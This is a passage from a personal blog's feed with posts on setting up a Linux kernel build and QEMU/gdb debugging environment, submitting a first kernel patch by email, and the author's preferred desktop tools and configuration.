&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# Debug info for symbolization.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;CONFIG_DEBUG_INFO_DWARF4=y&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# Required for Debian Stretch and later&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;CONFIG_CONFIGFS_FS=y&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;CONFIG_SECURITYFS=y&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Update the kernel config with &lt;code&gt;make olddefconfig&lt;/code&gt;, then build the kernel: &lt;code&gt;make -j`nproc`&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&quot;code-navigation&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#code-navigation&quot; aria-label=&quot;Anchor link for: code-navigation&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&lt;/a&gt;
Code Navigation&lt;/h2&gt;
&lt;p&gt;I navigate the kernel with &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://ctags.io&quot;&gt;Ctags&lt;/a&gt; and &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://cscope.sourceforge.net&quot;&gt;Cscope&lt;/a&gt; — extremely fast. Neovim requires a third-party Cscope plugin; &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com/dhananjaylatkar/cscope_maps.nvim&quot;&gt;cscope_maps.nvim&lt;/a&gt; is recommended.&lt;/p&gt;
&lt;p&gt;The Linux kernel Makefile provides &lt;code&gt;tags&lt;/code&gt; and &lt;code&gt;cscope&lt;/code&gt; targets that generate the respective index files. To generate indexes only for sources that have been compiled, set the &lt;code&gt;COMPILED_SOURCE&lt;/code&gt; environment variable.&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;shellscript&quot; data-name=&quot;https://elixir.bootlin.com/linux/v6.15/source/scripts/tags.sh#L109&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;all_target_sources&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	if&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; [&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; -n&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;$COMPILED_SOURCE&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;quot; ];&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; then&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-25&quot;&gt;		all_compiled_sources&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	else&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-25&quot;&gt;		all_sources&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	fi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&quot;debugging&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#debugging&quot; aria-label=&quot;Anchor link for: debugging&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&lt;/a&gt;
Debugging&lt;/h2&gt;
&lt;p&gt;Follow the &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com/google/syzkaller/blob/master/docs/linux/setup_ubuntu-host_qemu-vm_x86-64-kernel.md#image&quot;&gt;syzkaller&lt;/a&gt; tutorial to create a Debian Linux image, then copy it to the shared disk.&lt;/p&gt;
&lt;p&gt;Boot the Linux kernel with &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://www.qemu.org&quot;&gt;QEMU&lt;/a&gt;:&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-25&quot;&gt;qemu-system-x86_64&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-29&quot;&gt;	-m&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt; 2G&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-29&quot;&gt;	-smp&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt; 2&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-29&quot;&gt;	-kernel&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; &amp;lt;&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt;bzImag&lt;/span&gt;&lt;span&gt;e&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-29&quot;&gt;	-append&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; &amp;quot;&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt;console=ttyS0 root=/dev/sda net.ifnames=0&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;quot; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-29&quot;&gt;	-drive&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt; file=&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt;stretch.im&lt;/span&gt;&lt;span&gt;g&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt;,format=raw&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-29&quot;&gt;	-net&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt; user,host=10.0.2.31,hostfwd=tcp:127.0.0.1:2222-:22&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-29&quot;&gt;	-net&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt; nic,model=e1000&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-29&quot;&gt;	-nographic&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-29&quot;&gt;	-no-reboot&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-29&quot;&gt;	-pidfile&lt;/span&gt;&lt;span class=&quot;z-20&quot;&gt; vm.pid&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt; -s&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;See the official &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://www.qemu.org/docs/master/system/index.html&quot;&gt;System Emulation&lt;/a&gt; documentation for what the options do.&lt;/p&gt;
&lt;p&gt;Debug the kernel with &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://www.sourceware.org/gdb&quot;&gt;gdb&lt;/a&gt; + &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://pwndbg.re&quot;&gt;pwndbg&lt;/a&gt;; installing pwndbg via Nix is recommended: &lt;code&gt;nix profile install github:pwndbg/pwndbg&lt;/code&gt;.&lt;/p&gt;
</content>
        <summary type="html">A Linux Kernel development and debugging environment on macOS.</summary>
        </entry><entry xml:lang="en">
        <title>First Patch to Linux Kernel</title>
        <published>2025-05-30T00:00:00+00:00</published>
        <updated>2026-10-14T00:00:00+00:00</updated>
        <author>
            <name>b1n</name>
        </author>
        <link rel="alternate" href="https://b1n.io/blog/first-patch-to-linux-kernel/" type="text/html"/>
        <id>https://b1n.io/blog/first-patch-to-linux-kernel/</id>
        
            <content type="html">&lt;p&gt;The Linux Kernel is one of the largest open source projects on Earth, and it accepts contributions through an email-based workflow.&lt;/p&gt;
&lt;p&gt;Recommended reading: &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://kernelnewbies.org/Outreachyfirstpatch&quot;&gt;Outreachyfirstpatch&lt;/a&gt;, a guide to creating your first Linux Kernel patch. The official documentation is &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://docs.kernel.org/process/submitting-patches.html&quot;&gt;Submitting patches&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;kernel-tree&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#kernel-tree&quot; aria-label=&quot;Anchor link for: kernel-tree&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&lt;/a&gt;
Kernel Tree&lt;/h2&gt;
&lt;p&gt;The Linux Kernel project spans many repositories, known as trees. Different subsystems and features are developed in separate subtrees, and eventually &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://en.wikipedia.org/wiki/Linus_Torvalds&quot;&gt;Linus Torvalds&lt;/a&gt; merges patches from each subtree into the &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/&quot;&gt;mainline&lt;/a&gt; repository.&lt;/p&gt;
&lt;h2 id=&quot;coding-style&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#coding-style&quot; aria-label=&quot;Anchor link for: coding-style&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&lt;/a&gt;
Coding Style&lt;/h2&gt;
&lt;aside data-position=&quot;right&quot;&gt;
    &lt;p&gt;A decade or so ago, this was likely to earn you some rather impolite replies.&lt;/p&gt;
&lt;/aside&gt;
&lt;p&gt;The Linux Kernel enforces a strict coding style — details in &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://docs.kernel.org/process/coding-style.html&quot;&gt;Linux kernel coding style&lt;/a&gt;. Patches that violate the coding style get rejected by maintainers.&lt;/p&gt;
&lt;p&gt;Run the &lt;code&gt;scripts/checkpatch.pl&lt;/code&gt; script before submitting to check your patch against the style rules. If the style-violating code genuinely looks better, it’s usually best to leave it as is; common noise is covered in &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://kernelnewbies.org/CheckpatchTips&quot;&gt;CheckpatchTips&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;email-workflow&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#email-workflow&quot; aria-label=&quot;Anchor link for: email-workflow&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&lt;/a&gt;
Email Workflow&lt;/h2&gt;
&lt;p&gt;The Linux Kernel uses an email workflow: patches are sent to maintainers by email, and once a maintainer approves them they are merged into the subtree. The &lt;code&gt;scripts/get_maintainer.pl&lt;/code&gt; script looks up maintainer addresses and relevant mailing lists from a commit or file.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;git send-email&lt;/code&gt; is the recommended way to send patches; &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://sourcehut.org&quot;&gt;sourcehut&lt;/a&gt; built an email workflow tutorial around it at &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://git-send-email.io&quot;&gt;git-send-email&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;patch-philosophy&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#patch-philosophy&quot; aria-label=&quot;Anchor link for: patch-philosophy&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&lt;/a&gt;
Patch Philosophy&lt;/h2&gt;
&lt;p&gt;Patches are held to strict formatting requirements — details in &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://kernelnewbies.org/PatchPhilosophy&quot;&gt;PatchPhilosophy&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Here is an example patch generated with &lt;code&gt;git format-patch&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;From d446483f4cbfc8f89973fc2aea1f2e7351d73c43 Mon Sep 17 00:00:00 2001&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;From: Xingquan Liu &amp;lt;b1n@b1n.io&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Date: Fri, 30 May 2025 13:08:53 -0400&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Subject: [PATCH] ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[1]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Signed-off-by: Xingquan Liu &amp;lt;b1n@b1n.io&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;---&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[2]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; test | 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; 1 file changed, 0 insertions(+), 0 deletions(-)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; create mode 100644 test&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;diff --git a/test b/test&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;new file mode 100644&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;index 000000000000..e69de29bb2d1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Subject: [PATCH] ...&lt;/code&gt; is the email subject auto-generated from the patch title — don’t edit it directly; instead amend the commit with &lt;code&gt;git commit --amend&lt;/code&gt; and regenerate the patch. Patch subjects follow strict formatting rules too; see &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://kernelnewbies.org/PatchPhilosophy#Patch_subject_formatting&quot;&gt;Patch subject formatting&lt;/a&gt;. &lt;code&gt;Signed-off-by: ...&lt;/code&gt; is a patch tag certifying that the code complies with the &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://developercertificate.org&quot;&gt;Developer Certificate of Origin&lt;/a&gt;; a detailed explanation is in &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://kernelnewbies.org/PatchTipsAndTricks&quot;&gt;PatchTipsAndTricks&lt;/a&gt;. You can enable automatic sign-off with &lt;code&gt;git config format.signOff yes&lt;/code&gt;. Below the subject, the area marked [1] is the patch description. Below the &lt;code&gt;---&lt;/code&gt; separator, the area marked [2] takes comments, which are ignored when the patch is applied.&lt;/p&gt;
&lt;p&gt;After reviewing your patch, a maintainer may request changes. Regenerate the patch with &lt;code&gt;git format-patch -v2&lt;/code&gt; — the &lt;code&gt;-v2&lt;/code&gt; flag adds a version to the subject: &lt;code&gt;Subject: [PATCH v2] ...&lt;/code&gt;. You should also add version notes at [2]:&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Signed-off-by: Xingquan Liu &amp;lt;b1n@b1n.io&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;---&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;v2:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;- Made commit message more clear&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;- Corrected grammer in code comment&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;- Used new API instead of depreciated API&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; test | 0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A series of related patches is submitted together as a patch set; use &lt;code&gt;git format-patch --cover-letter&lt;/code&gt; and write the notes in the separate cover letter file.&lt;/p&gt;
&lt;h2 id=&quot;reply-email&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#reply-email&quot; aria-label=&quot;Anchor link for: reply-email&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&lt;/a&gt;
Reply Email&lt;/h2&gt;
&lt;p&gt;Once your patch is submitted, some back-and-forth discussion is often needed to settle on the final approach, and that happens by replying to email. The Linux Kernel requires mail in inline plain text: disable &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://www.ietf.org/rfc/rfc3676.txt&quot;&gt;format=flowed&lt;/a&gt;, auto-wrapping, and GPG signatures, and use &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://en.wikipedia.org/wiki/UTF-8&quot;&gt;UTF-8&lt;/a&gt; encoding. &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://neomutt.org&quot;&gt;NeoMutt&lt;/a&gt; is the recommended email client; other clients considered good at plain text are listed at &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://useplaintext.email&quot;&gt;Use plain text email&lt;/a&gt;. When quoting the original message, use &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://en.wikipedia.org/wiki/Posting_style#Interleaved_style&quot;&gt;inline replies&lt;/a&gt;.&lt;/p&gt;
</content>
        <summary type="html">The background knowledge you need for Linux Kernel development.</summary>
        </entry><entry xml:lang="en">
        <title>Quality of Cyber Life</title>
        <published>2025-05-29T00:00:00+00:00</published>
        <updated>2025-06-02T00:00:00+00:00</updated>
        <author>
            <name>b1n</name>
        </author>
        <link rel="alternate" href="https://b1n.io/blog/quality-of-cyber-life/" type="text/html"/>
        <id>https://b1n.io/blog/quality-of-cyber-life/</id>
        
            <content type="html">&lt;p&gt;A record of how I live my life in cyberspace, containing just enough guidance for anyone interested to follow along. Recommended reading: &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://missing.csail.mit.edu&quot;&gt;The Missing Semester of Your CS Education&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;privacy-guides&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#privacy-guides&quot; aria-label=&quot;Anchor link for: privacy-guides&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&lt;/a&gt;
Privacy Guides&lt;/h2&gt;
&lt;p&gt;You really should read &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://privacyguides.org&quot;&gt;Privacy Guides&lt;/a&gt; carefully.&lt;/p&gt;
&lt;h2 id=&quot;keyboard-layout&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#keyboard-layout&quot; aria-label=&quot;Anchor link for: keyboard-layout&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&lt;/a&gt;
Keyboard Layout&lt;/h2&gt;
&lt;p&gt;I use the &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://colemak.com&quot;&gt;Colemak&lt;/a&gt; keyboard layout, with &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://en.wikipedia.org/wiki/Caps_Lock&quot;&gt;Caps Lock&lt;/a&gt; remapped to &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://en.wikipedia.org/wiki/Esc_key&quot;&gt;Esc&lt;/a&gt;&lt;sup class=&quot;footnote-reference&quot; id=&quot;fr-1-1&quot;&gt;&lt;a href=&quot;https://b1n.io/blog/quality-of-cyber-life/#fn-1&quot;&gt;[1]&lt;/a&gt;&lt;/sup&gt;. If you’ll be hammering keys for the rest of your life, you should always replace &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://en.wikipedia.org/wiki/QWERTY&quot;&gt;QWERTY&lt;/a&gt; with any more efficient, more comfortable layout.&lt;/p&gt;
&lt;h2 id=&quot;package-manager&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#package-manager&quot; aria-label=&quot;Anchor link for: package-manager&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&lt;/a&gt;
Package Manager&lt;/h2&gt;
&lt;p&gt;I use &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://brew.sh&quot;&gt;Homebrew&lt;/a&gt; and &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://nixos.org&quot;&gt;Nix&lt;/a&gt; as package managers — the former for GUI applications (&lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://formulae.brew.sh/cask/&quot;&gt;Casks&lt;/a&gt;), the latter for CLI packages (&lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://search.nixos.org/packages&quot;&gt;Packages&lt;/a&gt;). Install Nix with the &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com/DeterminateSystems/nix-installer&quot;&gt;Determinate Nix Installer&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;My &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com/b1nhack/dotfiles/blob/main/Brewfile&quot;&gt;Brewfile&lt;/a&gt; records the Casks I’ve installed via Homebrew, exported with &lt;code&gt;brew bundle dump&lt;/code&gt;. &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com/b1nhack/dotfiles/blob/main/nix-packages&quot;&gt;nix-packages&lt;/a&gt; records the Packages I’ve installed via Nix, exported with &lt;code&gt;nix profile list &amp;gt; nix-packages&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&quot;terminal-emulator&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#terminal-emulator&quot; aria-label=&quot;Anchor link for: terminal-emulator&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&lt;/a&gt;
Terminal Emulator&lt;/h2&gt;
&lt;p&gt;My terminal emulator is &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://sw.kovidgoyal.net/kitty&quot;&gt;kitty&lt;/a&gt;; &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://wezterm.org&quot;&gt;WezTerm&lt;/a&gt; is also a solid choice.&lt;/p&gt;
&lt;p&gt;kitty config file: &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com/b1nhack/dotfiles/blob/main/kitty/kitty.conf&quot;&gt;kitty.conf&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;font&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#font&quot; aria-label=&quot;Anchor link for: font&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&lt;/a&gt;
Font&lt;/h2&gt;
&lt;p&gt;My font is &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://www.jetbrains.com/lp/mono/&quot;&gt;JetBrains Mono&lt;/a&gt;, used in the terminal emulator&lt;sup class=&quot;footnote-reference&quot; id=&quot;fr-2-1&quot;&gt;&lt;a href=&quot;https://b1n.io/blog/quality-of-cyber-life/#fn-2&quot;&gt;[2]&lt;/a&gt;&lt;/sup&gt; and on this blog.&lt;/p&gt;
&lt;h2 id=&quot;unix-shell&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#unix-shell&quot; aria-label=&quot;Anchor link for: unix-shell&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&lt;/a&gt;
Unix Shell&lt;/h2&gt;
&lt;p&gt;My shell is &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://www.zsh.org&quot;&gt;Zsh&lt;/a&gt;; config lives in &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com/b1nhack/dotfiles/tree/main/zsh&quot;&gt;zsh&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;version-control-system&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#version-control-system&quot; aria-label=&quot;Anchor link for: version-control-system&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&lt;/a&gt;
Version Control System&lt;/h2&gt;
&lt;p&gt;I use &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://git-scm.com&quot;&gt;Git&lt;/a&gt;, a DVCS (Distributed Version Control System), with &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com/dandavison/delta&quot;&gt;delta&lt;/a&gt; to dress up Git’s output.&lt;/p&gt;
